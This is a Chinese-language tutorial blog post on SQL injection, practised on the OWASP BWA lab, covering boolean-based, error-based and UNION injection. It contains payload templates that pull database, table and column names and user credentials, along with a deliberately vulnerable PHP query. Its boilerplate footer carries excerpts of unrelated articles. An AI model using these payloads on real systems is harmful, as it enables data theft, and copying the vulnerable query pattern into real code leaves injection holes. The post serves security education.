摘要:原理分析關(guān)于錯(cuò)誤回顯基于錯(cuò)誤回顯的注入就是通過(guò)語(yǔ)句的矛盾性來(lái)使數(shù)據(jù)被回顯到頁(yè)面上。因?yàn)?,注入可以直接返回信息而不是布爾值?/p>
實(shí)習(xí)期間的主要工作是研究 WEB 安全,剛開(kāi)始的時(shí)候,研究的主要是 SQL 注入,因?yàn)橹皼](méi)有搞過(guò)安全,所有費(fèi)了好長(zhǎng)一段時(shí)間對(duì) SQL 注入基本知識(shí)進(jìn)行了解。這篇文章并不是什么很深入的技術(shù)博客,或許應(yīng)該叫它‘ SQL注入掃盲 ’。
關(guān)于 SQL InjectionSQL Injection 就是通過(guò)把惡意的 SQL 命令插入到 Web 表單讓服務(wù)器執(zhí)行,最終達(dá)到欺騙服務(wù)器或數(shù)據(jù)庫(kù)執(zhí)行惡意的 SQL 命令。
學(xué)習(xí) SQL 注入,首先要搭一個(gè)靶機(jī)環(huán)境,我使用的是 OWASP BWA,感興趣的可以去官網(wǎng)下載一個(gè)安裝,除了 SQL 注入,很多靶機(jī)環(huán)境都可以在 BWA 中找到,它專(zhuān)門(mén)為 OWASP ZAP 滲透工具設(shè)計(jì)的。
$id?=?$_GET["id"]; $getid?=?"SELECT?first_name,?last_name?FROM?users?WHERE?user_id?=?"$id""; $result?=?mysql_query($getid)?or?die(""?.?mysql_error()?.?""?); $num?=?mysql_numrows($result);?
這是一個(gè)很簡(jiǎn)單的 PHP代碼,從前臺(tái)獲得 id 的值,交給數(shù)據(jù)庫(kù)來(lái)執(zhí)行,把結(jié)果返回給前臺(tái)。
比如我們?cè)?OWASP 里輸入 id = 1,點(diǎn)擊 Submit,返回結(jié)果如下:
稍微懂一點(diǎn)后臺(tái)或者數(shù)據(jù)庫(kù)的人都知道,上面的那段代碼是有嚴(yán)重問(wèn)題的,沒(méi)有對(duì) id 的值進(jìn)行有效性、合法性判斷。也就是說(shuō),我們?cè)?submit 輸入框輸入的如何內(nèi)容都會(huì)被提交給數(shù)據(jù)庫(kù)執(zhí)行,比如在輸入框輸入1" or "1"="1,執(zhí)行就會(huì)變成:
//原先要在數(shù)據(jù)庫(kù)中執(zhí)行的命令 SELECT?first_name,?last_name?FROM?users?WHERE?user_id?=?"1" //變成 SELECT?first_name,?last_name?FROM?users?WHERE?user_id?=?"1" or "1"="1"
注意一下單引號(hào),這是 SQL 注入中非常重要的一個(gè)地方,所以注入代碼的最后要補(bǔ)充一個(gè) "1"="1讓單引號(hào)閉合。
由于 or 的執(zhí)行,會(huì)把數(shù)據(jù)庫(kù)表 users 中的所有內(nèi)容顯示出來(lái),
下面對(duì)三種主要的注入類(lèi)型進(jìn)行介紹。
Boolean-based 原理分析首先不得不講SQL中的AND和OR
AND 和 OR 可在 WHERE 子語(yǔ)句中把兩個(gè)或多個(gè)條件結(jié)合起來(lái)。
AND:返回第一個(gè)條件和第二個(gè)條件都成立的記錄。
OR:返回滿足第一個(gè)條件或第二個(gè)條件的記錄。
AND和OR即為集合論中的交集和并集。
下面是一個(gè)數(shù)據(jù)庫(kù)的查詢內(nèi)容。
mysql> select * from students; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | | 10058 | Jaune | 22 | | 10060 | Alisa | 29 | +-------+-------+-----+ 3 rows in set (0.00 sec)
1)
mysql> select * from students where TRUE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | | 10058 | Jaune | 22 | | 10060 | Alisa | 29 | +-------+-------+-----+ 3 rows in set (0.00 sec)
2)
mysql> select * from students where FALSE ; Empty set (0.00 sec)
3)
mysql> SELECT * from students where id = 10056 and TRUE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | +-------+-------+-----+ 1 row in set (0.00 sec)
4)
mysql> select * from students where id = 10056 and FALSE ; Empty set (0.00 sec)
5)
mysql> selcet * from students where id = 10056 or TRUE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | | 10058 | Jaune | 22 | | 10060 | Alisa | 29 | +-------+-------+-----+ 3 rows in set (0.00 sec)
6)
mysql> select * from students where id = 10056 or FALSE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | +-------+-------+-----+ 1 row in set (0.00 sec)
會(huì)發(fā)現(xiàn)and 1=1 , and 1=2 即是 and TRUE , and FALSE 的變種。
這便是最基礎(chǔ)的boolean注入,以此為基礎(chǔ)你可以自由組合語(yǔ)句。
字典爆破流
and exists(select * from ?) //?為猜測(cè)的表名 and exists(select ? from x) //?為猜測(cè)的列名
截取二分流
and (length((select schema_name from information_schema.schemata limit 1))>?) //判斷數(shù)據(jù)庫(kù)名的長(zhǎng)度 and (substr((select schema_name from information_schema.schemata limit 1),1,1)>"?") and (substr((select schema_name from information_schema.schemata limit 1),1,1)<"?") //利用二分法判斷第一個(gè)字符Boolean-based總結(jié)
根據(jù)前面的介紹,我們知道,對(duì)于基于Boolean-based的注入,必須要有一個(gè)可以正常訪問(wèn)的地址,比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一個(gè)可以正常訪問(wèn)的記錄,說(shuō)明id=1的記錄是存在的,下面的都是基于這個(gè)進(jìn)一步猜測(cè)。先來(lái)判斷一個(gè)關(guān)鍵字keyword的長(zhǎng)度,在后面構(gòu)造id=1 and (select length(keyword) from table)=1,從服務(wù)器我們會(huì)得到一個(gè)返回值,如果和先前的返回值不一樣,說(shuō)明and后面的(select length(keyword) from table)=1返回false,keyword的長(zhǎng)度不等于1。繼續(xù)構(gòu)造直到id=1 and (select length(keyword) from table)=15返回true,說(shuō)明keyword的長(zhǎng)度為15。
為什么我們剛開(kāi)始一定要找一個(gè)已經(jīng)存在的id,其實(shí)這主要是為了構(gòu)造一個(gè)為真的情況。Boolean-based就是利用查詢結(jié)果為真和為假時(shí)的不同響應(yīng),通過(guò)不斷猜測(cè)來(lái)找到自己想要的東西。
對(duì)于keyword的值,mysql數(shù)據(jù)庫(kù)可以使用substr(string, start, length)函數(shù),截取string從第start位開(kāi)始的length個(gè)字符串id=1 and (select substr(keyword,1,1) from table) ="A",依此類(lèi)推,就可以獲得keyword的在數(shù)據(jù)庫(kù)中的值。
Boolean-based的效率很低,需要多個(gè)請(qǐng)求才能確定一個(gè)值,盡管這種代價(jià)可以通過(guò)腳本來(lái)完成,在有選擇的情況下,我們會(huì)優(yōu)先選擇其他方式。
基于錯(cuò)誤回顯的sql注入就是通過(guò)sql語(yǔ)句的矛盾性來(lái)使數(shù)據(jù)被回顯到頁(yè)面上。
所用到的函數(shù)
count() 統(tǒng)計(jì)元祖的個(gè)數(shù)(相當(dāng)于求和) 如select count(*) from information_schema.tables; rand()用于產(chǎn)生一個(gè)0~1的隨機(jī)數(shù) floor()向下取整 group by 依據(jù)我們想要的規(guī)矩對(duì)結(jié)果進(jìn)行分組 concat將符合條件的同一列中的不同行數(shù)據(jù)拼接,以逗號(hào)隔開(kāi)用于錯(cuò)誤回顯的sql語(yǔ)句
第一種: 基于 rand() 與 group by 的錯(cuò)誤
利用group by part of rand() returns duplicate key error這個(gè)bug,關(guān)于rand()函數(shù)與group by 在mysql中的錯(cuò)誤報(bào)告如下:
**RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.**
這個(gè)bug會(huì)爆出duplicate key這個(gè)錯(cuò)誤,然后順便就把數(shù)據(jù)偷到了。
公式:username=admin" and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想獲取的數(shù)據(jù)的sql語(yǔ)句))x from information_schema.tables group by x )a) and "1" = "1
第二種: XPATH爆信息
這里主要用到的是ExtractValue()和UpdateXML()這2個(gè)函數(shù),由于mysql 5.1以后提供了內(nèi)置的XML文件解析和函數(shù),所以這種注入只能用于5.1版本以后使用
查看sql手冊(cè)
語(yǔ)法:EXTRACTVALUE (XML_document, XPath_string); 第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱(chēng),文中為Doc 第二個(gè)參數(shù):XPath_string (Xpath格式的字符串) ,如果不了解Xpath語(yǔ)法,可以在網(wǎng)上查找教程。
作用:從目標(biāo)XML中返回包含所查詢值的字符串
語(yǔ)法:UPDATEXML (XML_document, XPath_string, new_value); 第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱(chēng),文中為Doc 第二個(gè)參數(shù):XPath_string (Xpath格式的字符串) ,如果不了解Xpath語(yǔ)法,可以在網(wǎng)上查找教程。 第三個(gè)參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)
作用:改變文檔中符合條件的節(jié)點(diǎn)的值
現(xiàn)在就很清楚了,我們只需要不滿足XPath_string(Xpath格式)就可以了,但是由于這個(gè)方法只能爆出32位,所以可以結(jié)合mid來(lái)使用
公式1:username=admin" and (extractvalue(1, concat(0x7e,(你想獲取的數(shù)據(jù)的sql語(yǔ)句)))) and "1"="1
公式2:username=admin" and (updatexml(1, concat(0x7e,(你想獲取的數(shù)據(jù)的sql語(yǔ)句)),1)) and "1"="1
基于錯(cuò)誤回顯的注入,總結(jié)起來(lái)就一句話,通過(guò)sql語(yǔ)句的矛盾性來(lái)使數(shù)據(jù)被回顯到頁(yè)面上,但有時(shí)候局限于回顯只能回顯一條,導(dǎo)致基于錯(cuò)誤的注入偷數(shù)據(jù)的效率并沒(méi)有那么高,但相對(duì)于布爾注入已經(jīng)提高了一個(gè)檔次。
union query injection要了解union query injection,首先得了解union查詢,union用于合并兩個(gè)或更多個(gè)select的結(jié)果集。比如說(shuō)
SELECT username, password FROM account;
結(jié)果是
admin 123456
SELECT id, title FROM article
的結(jié)果是
1 Hello, World
SELECT username, password FROM account UNION SELECT id, title FROM article
的結(jié)果就是
admin 123456
1 Hello, World
比起多重嵌套的boolean注入,union注入相對(duì)輕松。因?yàn)?,union注入可以直接返回信息而不是布爾值。前面的介紹看出把union會(huì)把結(jié)果拼拼到一起,所有要讓union前面的查詢返回一個(gè)空值,一般采用類(lèi)似于id=-1的方式。
1)
mysql> select name from students where id = -1 union select schema_name from information_schema.schemata; //數(shù)據(jù)庫(kù)名 +--------------------+ | name | +--------------------+ | information_schema | | mysql | | performance_schema | | rumRaisin | | t3st | | test | +--------------------+ 6 rows in set (0.00 sec)
2)
mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema="t3st"; //表名 +----------+ | name | +----------+ | master | | students | +----------+ 2 rows in set (0.00 sec)
3)
mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = "students" ; //列名 +------+ | name | +------+ | id | | name | | age | +------+ 3 rows in set (0.00 sec)
UNION 操作符用于合并兩個(gè)或多個(gè) SELECT 語(yǔ)句的結(jié)果集。請(qǐng)注意,UNION 內(nèi)部的 SELECT 語(yǔ)句必須擁有相同數(shù)量的列。列也必須擁有相似的數(shù)據(jù)類(lèi)型。同時(shí),每條 SELECT 語(yǔ)句中的列的順序必須相同。
舉個(gè)例子,還以最開(kāi)始的 OWASP 為基礎(chǔ),返回了兩個(gè)值分別是 first_name 和 sur_name,可想而知,服務(wù)器在返回?cái)?shù)據(jù)庫(kù)的查詢結(jié)果時(shí),就會(huì)把結(jié)果中的第一個(gè)值和第二個(gè)值傳給 first_name 和 sur_name,多了或少了,都會(huì)引起報(bào)錯(cuò)。
所以你如果想要使用union查詢來(lái)進(jìn)行注入,你首先要猜測(cè)后端查詢語(yǔ)句中查詢了多少列,哪些列可以回顯給用戶。
猜測(cè)列數(shù)
-1 union select 1 -1 union select 1,2 -1 union select 1,2,3 //直到頁(yè)面正常顯示
比如這條語(yǔ)句
-1 UNION SELECT 1,2,3,4
如果顯示的值為3和4,表示該查詢結(jié)果中有四列,并且第三列和第四列是有用的。則相應(yīng)的構(gòu)造union語(yǔ)句如下
-1 UNION SELECT 1,2,username,password FROM table小結(jié)一下
SQL 注入大概有5種,還有兩種分別是 Stacked_queries(基于堆棧)和 Time-based blind(時(shí)間延遲),堆棧就是多語(yǔ)句查詢,用 ‘;’ 把語(yǔ)句隔開(kāi),和 union 一樣;時(shí)間延遲就是利用 sleep() 函數(shù)讓數(shù)據(jù)庫(kù)延遲執(zhí)行,偷數(shù)據(jù)的速度很慢。(還有一個(gè)第六種,內(nèi)聯(lián)注入,但和前面涉及的內(nèi)容有所重疊,就不多帶帶來(lái)討論了)寫(xiě)這篇文章的時(shí)候,也是剛剛接觸 markdown 的時(shí)候,很多格式都不規(guī)范,比如中英文之間半角的空格都沒(méi)有,大家就且看且無(wú)視吧。
引用說(shuō)明,自己之前研究 SQL 注入的時(shí)候,也是一點(diǎn)一點(diǎn)摸索的,本博客的大部分內(nèi)容是來(lái)自于公司內(nèi)網(wǎng)的服務(wù)器中(公司定期考核,看你都干了什么)。當(dāng)時(shí)因?yàn)槭莾?nèi)網(wǎng),就沒(méi)有做引用,現(xiàn)在想找到這些引用的文章也很困難,見(jiàn)諒。
歡迎來(lái)我的博客交流。
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://www.ezyhdfw.cn/yun/22056.html
摘要:預(yù)備知識(shí)目錄后面簡(jiǎn)稱(chēng)目錄后面簡(jiǎn)稱(chēng)入口文件過(guò)程詳解范例定義路由文件路徑修改如下定義中間件中間件路徑新建中間件必須返回響應(yīng)在處理請(qǐng)求之前做些什么在處理請(qǐng)求之后做些什么中間件處理完畢后,做些什么中間件處理完畢后,做些什么注冊(cè)中間件中間件配件文件路 I. 預(yù)備知識(shí) Laravel 目錄 /path/to 后面簡(jiǎn)稱(chēng) Laravel Web 目錄 Laravel/public 后面簡(jiǎn)稱(chēng) Web 入...
摘要:簡(jiǎn)述是中操作的模塊,其使用方法和幾乎相同。但目前支持而后者不支持版本。因此要避免這種情況需使用提供的參數(shù)化查詢。使用存儲(chǔ)過(guò)程動(dòng)態(tài)執(zhí)行防注入使用存儲(chǔ)過(guò)程自動(dòng)提供防注入,動(dòng)態(tài)傳入到存儲(chǔ)過(guò)程執(zhí)行語(yǔ)句。 簡(jiǎn)述 pymsql是Python中操作MySQL的模塊,其使用方法和MySQLdb幾乎相同。但目前pymysql支持python3.x而后者不支持3.x版本。本文測(cè)試python版本:3.5....
閱讀 972·2021-11-22 09:34
閱讀 1153·2021-10-08 10:16
閱讀 1923·2021-07-25 21:42
閱讀 1871·2019-08-30 15:53
閱讀 3595·2019-08-30 13:08
閱讀 2275·2019-08-29 17:30
閱讀 3426·2019-08-29 17:22
閱讀 2284·2019-08-29 15:35